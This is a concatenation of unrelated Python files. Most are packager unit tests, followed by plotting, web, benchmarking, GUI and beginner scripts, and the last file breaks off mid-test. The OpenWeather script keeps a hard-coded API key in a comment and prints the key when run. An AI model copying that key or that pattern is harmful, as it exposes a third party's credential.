    return _STR_RESULT_SAMPLE

def pack_str_path_file(context: MLClientCtx) -> str:
    file_path = os.path.join(context.artifact_path, "my_file.txt")
    with open(file_path, "w") as file:
        file.write(_STR_FILE_SAMPLE)
    return file_path

def pack_str_path_directory(context: MLClientCtx) -> str:
    directory_path = os.path.join(context.artifact_path, "my_directory")
    os.makedirs(directory_path)
    for i in range(5):
        with open(os.path.join(directory_path, f"file_{i}.txt"), "w") as file:
            file.write(_STR_DIRECTORY_FILES_SAMPLE.format(i))
    return directory_path

def validate_str_result(result: str) -> bool:
    return result == _STR_RESULT_SAMPLE

def unpack_str(obj: str):
    assert isinstance(obj, str)
    assert obj == _STR_RESULT_SAMPLE

def unpack_str_path_file(obj: str):
    assert isinstance(obj, str)
    with open(obj, "r") as file:
        file_content = file.read()
    assert file_content == _STR_FILE_SAMPLE

def unpack_str_path_directory(obj: str):
    assert isinstance(obj, str)
    for i in range(5):
        with open(os.path.join(obj, f"file_{i}.txt"), "r") as file:
            file_content = file.read()
        assert file_content == _STR_DIRECTORY_FILES_SAMPLE.format(i)

def prepare_str_path_file() -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, "my_file.txt")
    with open(file_path, "w") as file:
        file.write(_STR_FILE_SAMPLE)
    return file_path, temp_directory

class StrPackagerTester(PackagerTester):
    """
    A tester for the `StrPackager`.
    """

    PACKAGER_IN_TEST = StrPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_str",
            log_hint="my_result",
            validation_function=validate_str_result,
            pack_parameters={},
        ),
        UnpackTest(
            prepare_input_function=prepare_str_path_file,
            unpack_handler="unpack_str_path_file",
        ),
        PackToUnpackTest(
            pack_handler="pack_str",
            log_hint="my_result",
        ),
        PackToUnpackTest(
            pack_handler="pack_str",
            log_hint="my_result: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": str.__module__,
            },
            unpack_handler="unpack_str",
        ),
        PackToUnpackTest(
            pack_handler="pack_str_path_file",
            log_hint="my_file: path",
            expected_instructions={"is_directory": False},
            unpack_handler="unpack_str_path_file",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_str_path_directory",
                log_hint={
                    "key": "my_dir",
                    "artifact_type": "path",
                    "archive_format": archive_format,
                },
                expected_instructions={
                    "is_directory": True,
                    "archive_format": archive_format,
                },
                unpack_handler="unpack_str_path_directory",
            )
            for archive_format in ArchiveSupportedFormat.get_all_formats()
        ],
    ]

_DICT_SAMPLE = {"a1": {"a2": [1, 2, 3], "b2": [4, 5, 6]}, "b1": {"b2": [4, 5, 6]}}

def pack_dict() -> dict:
    return _DICT_SAMPLE

def unpack_dict(obj: dict):
    assert isinstance(obj, dict)
    assert obj == _DICT_SAMPLE

def validate_dict_result(result: dict) -> bool:
    return result == _DICT_SAMPLE

def prepare_dict_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=_DICT_SAMPLE, file_path=file_path)
    return file_path, temp_directory

class DictPackagerTester(PackagerTester):
    """
    A tester for the `DictPackager`.
    """

    PACKAGER_IN_TEST = DictPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_dict",
            log_hint="my_dict",
            validation_function=validate_dict_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_dict_file,
                unpack_handler="unpack_dict",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_dict",
            log_hint="my_dict",
        ),
        PackToUnpackTest(
            pack_handler="pack_dict",
            log_hint="my_dict: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": dict.__module__,
            },
            unpack_handler="unpack_dict",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_dict",
                log_hint={
                    "key": "my_dict",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_dict",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

_LIST_SAMPLE = [1, 2, 3, {"a": 1, "b": 2}]

def pack_list() -> list:
    return _LIST_SAMPLE

def unpack_list(obj: list):
    assert isinstance(obj, list)
    assert obj == _LIST_SAMPLE

def validate_list_result(result: list) -> bool:
    return result == _LIST_SAMPLE

def prepare_list_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=_LIST_SAMPLE, file_path=file_path)
    return file_path, temp_directory

class ListPackagerTester(PackagerTester):
    """
    A tester for the `ListPackager`.
    """

    PACKAGER_IN_TEST = ListPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_list",
            log_hint="my_list",
            validation_function=validate_list_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_list_file,
                unpack_handler="unpack_list",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_list",
            log_hint="my_list",
        ),
        PackToUnpackTest(
            pack_handler="pack_list",
            log_hint="my_list: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": tuple.__module__,
            },
            unpack_handler="unpack_list",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_list",
                log_hint={
                    "key": "my_list",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_list",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

_TUPLE_SAMPLE = (1, 2, 3)

def pack_tuple() -> tuple:
    return _TUPLE_SAMPLE

def unpack_tuple(obj: tuple):
    assert isinstance(obj, tuple)
    assert obj == _TUPLE_SAMPLE

def validate_tuple_result(result: list) -> bool:
    # Tuples are serialized as lists:
    return tuple(result) == _TUPLE_SAMPLE

def prepare_tuple_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=list(_TUPLE_SAMPLE), file_path=file_path)
    return file_path, temp_directory

class TuplePackagerTester(PackagerTester):
    """
    A tester for the `TuplePackager`.
    """

    PACKAGER_IN_TEST = TuplePackager()

    TESTS = [
        PackTest(
            pack_handler="pack_tuple",
            log_hint="my_tuple",
            validation_function=validate_tuple_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_tuple_file,
                unpack_handler="unpack_tuple",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_tuple",
            log_hint="my_tuple",
        ),
        PackToUnpackTest(
            pack_handler="pack_tuple",
            log_hint="my_tuple: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": tuple.__module__,
            },
            unpack_handler="unpack_tuple",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_tuple",
                log_hint={
                    "key": "my_tuple",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_tuple",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

_SET_SAMPLE = {1, 2, 3}

def pack_set() -> set:
    return _SET_SAMPLE

def unpack_set(obj: set):
    assert isinstance(obj, set)
    assert obj == _SET_SAMPLE

def validate_set_result(result: list) -> bool:
    # Sets are serialized as lists:
    return set(result) == _SET_SAMPLE

def prepare_set_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=list(_SET_SAMPLE), file_path=file_path)
    return file_path, temp_directory

class SetPackagerTester(PackagerTester):
    """
    A tester for the `SetPackager`.
    """

    PACKAGER_IN_TEST = SetPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_set",
            log_hint="my_set",
            validation_function=validate_set_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_set_file,
                unpack_handler="unpack_set",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_set",
            log_hint="my_set",
        ),
        PackToUnpackTest(
            pack_handler="pack_set",
            log_hint="my_set: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": set.__module__,
            },
            unpack_handler="unpack_set",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_set",
                log_hint={
                    "key": "my_set",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_set",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

_FROZENSET_SAMPLE = frozenset([1, 2, 3])

def pack_frozenset() -> frozenset:
    return _FROZENSET_SAMPLE

def unpack_frozenset(obj: frozenset):
    assert isinstance(obj, frozenset)
    assert obj == _FROZENSET_SAMPLE

def validate_frozenset_result(result: list) -> bool:
    # Frozen sets are serialized as lists:
    return frozenset(result) == _FROZENSET_SAMPLE

def prepare_frozenset_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=list(_FROZENSET_SAMPLE), file_path=file_path)
    return file_path, temp_directory

class FrozensetPackagerTester(PackagerTester):
    """
    A tester for the `FrozensetPackager`.
    """

    PACKAGER_IN_TEST = FrozensetPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_frozenset",
            log_hint="my_frozenset",
            validation_function=validate_frozenset_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_frozenset_file,
                unpack_handler="unpack_frozenset",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_frozenset",
            log_hint="my_frozenset",
        ),
        PackToUnpackTest(
            pack_handler="pack_frozenset",
            log_hint="my_frozenset: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": set.__module__,
            },
            unpack_handler="unpack_frozenset",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_frozenset",
                log_hint={
                    "key": "my_frozenset",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_frozenset",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

_BYTEARRAY_SAMPLE = bytearray([1, 2, 3])

def pack_bytearray() -> bytearray:
    return _BYTEARRAY_SAMPLE

def unpack_bytearray(obj: bytearray):
    assert isinstance(obj, bytearray)
    assert obj == _BYTEARRAY_SAMPLE

def validate_bytearray_result(result: str) -> bool:
    # Byte arrays are serialized as strings (not decoded):
    return bytearray(ast.literal_eval(result)) == _BYTEARRAY_SAMPLE

def prepare_bytearray_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=list(_BYTEARRAY_SAMPLE), file_path=file_path)
    return file_path, temp_directory

class BytearrayPackagerTester(PackagerTester):
    """
    A tester for the `BytearrayPackager`.
    """

    PACKAGER_IN_TEST = BytearrayPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_bytearray",
            log_hint="my_bytearray",
            validation_function=validate_bytearray_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_bytearray_file,
                unpack_handler="unpack_bytearray",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_bytearray",
            log_hint="my_bytearray",
        ),
        PackToUnpackTest(
            pack_handler="pack_bytearray",
            log_hint="my_bytearray: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": set.__module__,
            },
            unpack_handler="unpack_bytearray",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_bytearray",
                log_hint={
                    "key": "my_bytearray",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_bytearray",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

_BYTES_SAMPLE = b"I'm a byte string."

def pack_bytes() -> bytes:
    return _BYTES_SAMPLE

def unpack_bytes(obj: bytes):
    assert isinstance(obj, bytes)
    assert obj == _BYTES_SAMPLE

def validate_bytes_result(result: str) -> bool:
    # Bytes are serialized as strings (not decoded):
    return ast.literal_eval(result) == _BYTES_SAMPLE

def prepare_bytes_file(file_format: str) -> Tuple[str, str]:
    temp_directory = tempfile.mkdtemp()
    file_path = os.path.join(temp_directory, f"my_file.{file_format}")
    formatter = StructFileSupportedFormat.get_format_handler(fmt=file_format)
    formatter.write(obj=list(_BYTES_SAMPLE), file_path=file_path)
    return file_path, temp_directory

class BytesPackagerTester(PackagerTester):
    """
    A tester for the `BytesPackager`.
    """

    PACKAGER_IN_TEST = BytesPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_bytes",
            log_hint="my_bytes",
            validation_function=validate_bytes_result,
        ),
        *[
            UnpackTest(
                prepare_input_function=prepare_bytes_file,
                unpack_handler="unpack_bytes",
                prepare_parameters={"file_format": file_format},
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
        PackToUnpackTest(
            pack_handler="pack_bytes",
            log_hint="my_bytes",
        ),
        PackToUnpackTest(
            pack_handler="pack_bytes",
            log_hint="my_bytes: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": set.__module__,
            },
            unpack_handler="unpack_bytes",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_bytes",
                log_hint={
                    "key": "my_bytes",
                    "artifact_type": "file",
                    "file_format": file_format,
                },
                expected_instructions={
                    "file_format": file_format,
                },
                unpack_handler="unpack_bytes",
            )
            for file_format in StructFileSupportedFormat.get_all_formats()
        ],
    ]

# ----------------------------------------------------------------------------------------------------------------------
# pathlib packagers:
# ----------------------------------------------------------------------------------------------------------------------

_PATH_RESULT_SAMPLE = pathlib.Path("I'm a path.")

def pack_path() -> pathlib.Path:
    return _PATH_RESULT_SAMPLE

def pack_path_file(context: MLClientCtx) -> pathlib.Path:
    file_path = pathlib.Path(context.artifact_path) / "my_file.txt"
    with open(file_path, "w") as file:
        file.write(_STR_FILE_SAMPLE)
    return file_path

def pack_path_directory(context: MLClientCtx) -> pathlib.Path:
    directory_path = pathlib.Path(context.artifact_path) / "my_directory"
    os.makedirs(directory_path)
    for i in range(5):
        with open(directory_path / f"file_{i}.txt", "w") as file:
            file.write(_STR_DIRECTORY_FILES_SAMPLE.format(i))
    return directory_path

def validate_path_result(result: pathlib.Path) -> bool:
    return pathlib.Path(result) == _PATH_RESULT_SAMPLE

def unpack_path(obj: pathlib.Path):
    assert isinstance(obj, pathlib.Path)
    assert obj == _PATH_RESULT_SAMPLE

def unpack_path_file(obj: pathlib.Path):
    assert isinstance(obj, pathlib.Path)
    with open(obj, "r") as file:
        file_content = file.read()
    assert file_content == _STR_FILE_SAMPLE

def unpack_path_directory(obj: pathlib.Path):
    assert isinstance(obj, pathlib.Path)
    for i in range(5):
        with open(obj / f"file_{i}.txt", "r") as file:
            file_content = file.read()
        assert file_content == _STR_DIRECTORY_FILES_SAMPLE.format(i)

class PathPackagerTester(PackagerTester):
    """
    A tester for the `PathPackager`.
    """

    PACKAGER_IN_TEST = PathPackager()

    TESTS = [
        PackTest(
            pack_handler="pack_path",
            log_hint="my_result: result",
            validation_function=validate_path_result,
            pack_parameters={},
        ),
        UnpackTest(
            prepare_input_function=prepare_str_path_file,  # Using str preparing method - same thing
            unpack_handler="unpack_path_file",
        ),
        PackToUnpackTest(
            pack_handler="pack_path",
            log_hint="my_result: result",
        ),
        PackToUnpackTest(
            pack_handler="pack_path",
            log_hint="my_result: object",
            expected_instructions={
                **COMMON_OBJECT_INSTRUCTIONS,
                "object_module_name": pathlib.Path.__module__,
            },
            unpack_handler="unpack_path",
        ),
        PackToUnpackTest(
            pack_handler="pack_path_file",
            log_hint="my_file",
            expected_instructions={"is_directory": False},
            unpack_handler="unpack_path_file",
        ),
        *[
            PackToUnpackTest(
                pack_handler="pack_path_directory",
                log_hint={
                    "key": "my_dir",
                    "archive_format": archive_format,
                },
                expected_instructions={
                    "is_directory": True,
                    "archive_format": archive_format,
                },
                unpack_handler="unpack_path_directory",
            )
            for archive_format in ArchiveSupportedFormat.get_all_formats()
        ],
    ]


import matplotlib
matplotlib.rc('text', usetex = True)
from pylab import *
import os

#Use the dt distributions from Crescent City
#tide gauge to make example plots
d = loadtxt('cumulative_probs.yearly.100.txt')

figure(1,(12,9))
clf()
axes((.1,.1,.8,.38))

#Add 1.13 to get s referenced to MSL
s = d[:,0] - 2. +1.13

plot([-2.6,0.6,0.6,1.0],[1,1,0,0],'k')
for i in [7,6,5,3,1]:
    plot(s,d[:,i])
legend(['dt = infinity','dt = 24 hours', 'dt = 12 hours', 'dt = 4 hours', \
    'dt = 2 hour', 'dt = 0'],'lower left')
title('Cumulative Distributions for dt-Method',fontsize=18)
plot([-1.08,-1.08,-3],[1.05,0.776,0.776],'r--',linewidth=3)
plot([-1.08],[0.776],'ro')
text(-2.8,0.8,'desired probability',fontsize=17)

ylim(-0.1,1.1)
xticks([-2,-1,0,0.6,1.],['MLW','MSL','MHW','HHW',r'${\bf \hat{\xi}}$'],fontsize=18)
yticks(fontsize=18)
ylabel('probability ',fontsize=18)
xlabel(r'tide stage ${\bf \hat{\xi}}$',fontsize=18)

axes((.1,.55,.8,.38))
s = linspace(-3,0.6,101)
def h(s):
    h = (s+1.4) + (s+1.6)**2
    h = where(s<-1.4, 0, h)
    return h
srun = linspace(-2.,0,6)
plot([-1.4],[0.0],'bo')
plot(srun,h(srun),'bo')

#Now plot the black line
srun2=zeros(9)
srun2[0]=-3.; srun2[1:3]=srun[0:2]; srun2[3]=-1.4; srun2[4:8]=srun[2:6];
srun2[8]=.6;
plot(srun2,h(srun2),'k')

plot([-3,-1.08,-1.08],[0.59,0.59,-0.5],'r--',linewidth=3)
ylim(-0.5,5)
xticks([-2,-1,0,0.6,1.],['MLW','MSL','MHW','HHW',r'${\bf \hat{\xi}}$'],fontsize=18)
yticks([0,2,4],['0','1','2'],fontsize=18)

plot([-1.08],[0.59],'ro')
text(-2.8,0.8,r'exceedance level ${\bf \zeta_i}$',fontsize=17)
text(-1.2,-.45,r'${\bf \hat{\xi_i}}$',fontsize=15)
xlim(-3,1)
ylabel(r'Quantity of Interest ${\bf \zeta}$',fontsize=18)
title(r"${\bf E_{jk}}$'s GeoClaw Simulation Curve at one Location",fontsize=18)
savefig('tidepofzeta_dt.png')


from rest_framework import renderers
from teslacoil.encoders import TeslaEncoder

class TeslaRenderer(renderers.JSONRenderer):

    encoder_class = TeslaEncoder

    def render(self, data, accepted_media_type=None, renderer_context=None):
        model = renderer_context['view'].model
        model_admin = renderer_context['view'].model_admin
        request = renderer_context['request']

        response_wrapper = {
            'meta': model_admin,
            'objects': data,
        }

        return super(TeslaRenderer, self).render(
            response_wrapper, accepted_media_type, renderer_context)


import json
import os
from signal import SIGKILL
from statistics import mean
from typing import List, Optional

from sebs.cache import Cache
from sebs.local.function import LocalFunction
from sebs.storage.minio import Minio, MinioConfig
from sebs.utils import serialize, LoggingBase

class Deployment(LoggingBase):
    @property
    def measurement_file(self) -> Optional[str]:
        return self._measurement_file

    @measurement_file.setter
    def measurement_file(self, val: Optional[str]):
        self._measurement_file = val

    def __init__(self):
        super().__init__()
        self._functions: List[LocalFunction] = []
        self._storage: Optional[Minio]
        self._inputs: List[dict] = []
        self._memory_measurement_pids: List[int] = []
        self._measurement_file: Optional[str] = None

    def add_function(self, func: LocalFunction):
        self._functions.append(func)
        if func.memory_measurement_pid is not None:
            self._memory_measurement_pids.append(func.memory_measurement_pid)

    def add_input(self, func_input: dict):
        self._inputs.append(func_input)

    def set_storage(self, storage: Minio):
        self._storage = storage

    def serialize(self, path: str):
        with open(path, "w") as out:
            config: dict = {
                "functions": self._functions,
                "storage": self._storage,
                "inputs": self._inputs,
            }

            if self._measurement_file is not None:
                config["memory_measurements"] = {
                    "pids": self._memory_measurement_pids,
                    "file": self._measurement_file,
                }

            out.write(serialize(config))

    @staticmethod
    def deserialize(path: str, cache_client: Cache) -> "Deployment":
        with open(path, "r") as in_f:
            input_data = json.load(in_f)
            deployment = Deployment()
            for input_cfg in input_data["inputs"]:
                deployment._inputs.append(input_cfg)
            for func in input_data["functions"]:
                deployment._functions.append(LocalFunction.deserialize(func))
            if "memory_measurements" in input_data:
                deployment._memory_measurement_pids = input_data["memory_measurements"]["pids"]
                deployment._measurement_file = input_data["memory_measurements"]["file"]
            deployment._storage = Minio.deserialize(
                MinioConfig.deserialize(input_data["storage"]), cache_client
            )
            return deployment

    def shutdown(self, output_json: str):

        if len(self._memory_measurement_pids) > 0:

            self.logging.info("Killing memory measurement processes")

            # kill measuring processes
            for proc in self._memory_measurement_pids:
                os.kill(proc, SIGKILL)

        if self._measurement_file is not None:

            self.logging.info(f"Gathering memory measurement data in {output_json}")
            # create dictionary with the measurements
            measurements: dict = {}
            precision_errors = 0
            with open(self._measurement_file, "r") as file:
                for line in file:
                    if line == "precision not met\n":
                        precision_errors += 1

                    line_content = line.split()
                    if len(line_content) == 0:
                        continue
                    if not line_content[0] in measurements:
                        try:
                            measurements[line_content[0]] = [int(line_content[1])]
                        except ValueError:
                            continue
                    else:
                        try:
                            measurements[line_content[0]].append(int(line_content[1]))
                        except ValueError:
                            continue

            for container in measurements:
                measurements[container] = {
                    "mean mem. usage": f"{mean(measurements[container])/1e6} MB",
                    "max mem. usage": f"{max(measurements[container])/1e6} MB",
                    "number of measurements": len(measurements[container]),
                    "full profile (in bytes)": measurements[container],
                }

            # write to output_json file
            with open(output_json, "w") as out:
                if precision_errors > 0:
                    measurements["precision_errors"] = precision_errors
                json.dump(measurements, out, indent=6)

            # remove the temporary file the measurements were written to
            os.remove(self._measurement_file)

        for func in self._functions:
            func.stop()


#!/usr/bin/env python3

import pyowm
from pyowm.exceptions import OWMError

import sys, argparse
from datetime import datetime

import os
#os.environ['OPENWEATHER_API_KEY'] = 'aa1ab6974298fc6bf7303d6a22e073f9'
#os.environ['CITY_NAME'] = 'Honolulu'

def main(argv):
   parser = argparse.ArgumentParser()
   parser.add_argument('-k', required=False, metavar='your_api_key')
   parser.add_argument('-p', required=False, metavar='\"Some Place,US\"')
   args = parser.parse_args()

   api_key = str(os.environ['OPENWEATHER_API_KEY'])
   place = str(os.environ['CITY_NAME'])

   print ('Using key ' + api_key  + ' to query temperature in \"' + place  + '\"...' )
   owm = pyowm.OWM(api_key)
   try:
      observation = owm.weather_at_place(place)
   except OWMError as err:
      print (err)
      sys.exit(2)

   w = observation.get_weather()
   p = observation.get_location()
   print ( 'source=openweathermap ' + 'city=' + '"' + p.get_name() + '"' + ' description=' + '"' + str(w.get_status()) + '"' +  \
           ' temp=' + str(w.get_temperature('celsius')['temp']) +'C' +  ' humidity=' + str(w.get_humidity()) )

if __name__ == "__main__":
   main(sys.argv[1:])


import pyperclip, shelve, sys

mcbShelf = shelve.open('mcb')

#сохранятся содержимое буфера обмена

if len(sys.argv)==3 and sys.argv[1].lower() == 'save':
    mcbShelf[sys.argv[2]] = pyperclip.paste()
    print(sys.argv)
elif len(sys.argv) == 2:
    if sys.argv[1].lower() == 'list':
        pyperclip.copy(str(list(mcbShelf.keys())))
        print(str(list(mcbShelf.keys())))
    elif sys.argv[1] in mcbShelf:
        t=mcbShelf[sys.argv[1]]
        pyperclip.copy(t)
        print(mcbShelf[sys.argv[1]])
mcbShelf.close()


#!/usr/bin/python3
"""Defines a rectangle class which inherits from Base."""
from models.base import Base

class Rectangle(Base):
    """A rectangle class"""

    def __init__(self, width, height, x=0, y=0, id=None):
        """Initiates an instance of the rectangle class.

        Args:
            width (int): the width of the rectangle
            height (int): height of the rectangle
            x (int): x cordinate
            y (int): y cordinate
        """

        self.width = width
        self.height = height
        self.x = x
        self.y = y
        super().__init__(id)

    @property
    def width(self):
        """sets / gets the width"""
        return self.__width

    @width.setter
    def width(self, val):
        if type(val) != int:
            raise TypeError("width must be an integer")
        if val <= 0:
            raise ValueError("width must be > 0")
        self.__width = val

    @property
    def height(self):
        """sets / gets the height"""
        return self.__height

    @height.setter
    def height(self, val):
        if type(val) != int:
            raise TypeError("height must be an integer")
        if val <= 0:
            raise ValueError("height must be > 0")
        self.__height = val

    @property
    def x(self):
        """sets / gets the x cordinate"""
        return self.__x

    @x.setter
    def x(self, val):
        if type(val) != int:
            raise TypeError("x must be an integer")
        if val < 0:
            raise ValueError("x must be >= 0")
        self.__x = val

    @property
    def y(self):
        """sets / gets the width"""
        return self.__y

    @y.setter
    def y(self, val):
        if type(val) != int:
            raise TypeError("y must be an integer")
        if val < 0:
            raise ValueError("y must be >= 0")
        self.__y = val

    def area(self):
        """Returns area of the rectangle"""

        return self.__width * self.__height

    def display(self):
        """prints the rectangle using '#'."""

        if self.__width == 0 or self.__height == 0:
            print("")
            return

        [print() for y in range(self.y)]
        for h in range(self.__height):
            for x in range(self.x):
                print(" ", end="")
            for w in range(self.__width):
                print("#", end="")
            print()

    def __str__(self):
        """print() and str() representation of rectangle"""

        return "[Rectangle] ({}) {}/{} - {}/{}".format(self.id,
                                                       self.x, self.y,
                                                       self.width, self.height)

    def update(self, *args, **kwargs):
        """updates the rectangle.

        Args:
            args (int): assignes values to the attributes
        """

        if args:
            n_args = len(args)
            if n_args >= 1:
                if args[0] is None:
                    self.__init__(self.width, self.height, self.x, self.y)
                else:
                    self.id = args[0]
            if n_args >= 2:
                self.width = args[1]
            if n_args >= 3:
                self.height = args[2]
            if n_args >= 4:
                self.x = args[3]
            if n_args > 4:
                self.y = args[4]
        elif kwargs and len(kwargs) != 0:
            for key, value in kwargs.items():
                if key == "id":
                    if value is None:
                        self.__init__(self.width, self.height, self.x, self.y)
                    else:
                        self.id = value
                elif key == "width":
                    self.width = value
                elif key == "height":
                    self.height = value
                elif key == "x":
                    self.x = value
                elif key == "y":
                    self.y = value

    def to_dictionary(self):
        """Returns a dictionary description of rectangle"""
        return {
                "id": self.id,
                "width": self.width,
                "height": self.height,
                "x": self.x,
                "y": self.y
            }


from PyQt5.QtWidgets import QListWidget, QListWidgetItem
from PyQt5.QtWidgets import QWidget, QVBoxLayout

from whispering_assistant.window_managers.windows.base_window_template import BaseWindowTemplate

class ChoiceWindow(BaseWindowTemplate):
    def __init__(self, parent=None, choices=[], process_cb=None):
        super().__init__(parent, choices=choices, process_cb=process_cb)

    def initUI(self, choices, process_cb):
        self.setWindowTitle("Select the desired link")
        self.setGeometry(1000, 500, 1600, 200)
        self.selected_index = None
        self.choices = choices
        self.process_cb = process_cb

        central_widget = QWidget(self)
        layout = QVBoxLayout(central_widget)

        self.list_widget = QListWidget(central_widget)
        for choice in choices:
            display_text = choice['display_text']
            list_item = QListWidgetItem(display_text)
            self.list_widget.addItem(list_item)

        self.list_widget.itemDoubleClicked.connect(self.on_item_double_clicked)

        layout.addWidget(self.list_widget)
        central_widget.setLayout(layout)
        self.setCentralWidget(central_widget)
        self.show()

    def on_item_double_clicked(self, item):
        self.selected_index = self.list_widget.row(item)
        print("self.selected_index", self.selected_index, self.choices[self.selected_index])
        selected_item = self.choices[self.selected_index]
        if self.process_cb:
            self.process_cb(selected_item)
        self.close()


def teste(b):
    global a # nao crie uma variavel a, utilize o 'a' global
    a = 8 # aqui estou adicionando a variavel A dentro do escopo local
    b += 4 # 5 + 4 = 9
    c = 2
    print(f'Var A dentro vale {a}')
    print(f'Var B dentro vale {b}')
    print(f'Var C dentro vale {c}')

a = 5
teste(a)
print(f'Var A fora vale {a}') # aqui eu digo que é para manter a variavel
                                # A do escopo global "global a", a=5 vira a=8!!!


a = ""
started = False
while True:
    a = input("command: ").lower()
    if a == "start":
        if started:
            print("Car already started..")
        else:
            started = True
            print("Car Started..")
    elif a == "stop":
        if not started:
            print("Car already stopped.")
        else:
            started = False
            print("Car Stopped.")
    elif a == "help":
        print("""
start -> to start the car
stop -> to stop the car
quit -> to quit
              """)
    elif a == "quit":
        break
    else:
        print("Sorry, I don't Understand")


# pylint doesn't understand pytest fixtures
# pylint: disable=unused-argument

from click.testing import CliRunner
from dagster_airflow.cli import scaffold

def test_build_dags(clean_airflow_home):
    '''This test generates Airflow DAGs for several pipelines in examples/toys and writes those DAGs
    to $AIRFLOW_HOME/dags.

    By invoking DagBag() below, an Airflow DAG refresh is triggered. If there are any failures in
    DAG parsing, DagBag() will add an entry to its import_errors property.

    By exercising this path, we ensure that our codegen continues to generate valid Airflow DAGs,
    and that Airflow is able to successfully parse our DAGs.
    '''
    runner = CliRunner()

    cli_args_to_test = [
        ['--module-name', 'dagster_examples.toys.log_spew', '--pipeline-name', 'log_spew'],
        ['--module-name', 'dagster_examples.toys.many_events', '--pipeline-name', 'many_events'],
        [
            '--module-name',
            'dagster_examples.toys.error_monster',
            '--pipeline-name',
            'error_monster',
            '--preset',
            'passing',
        ],
        [
            '--module-name',
            'dagster_examples.toys.resources',
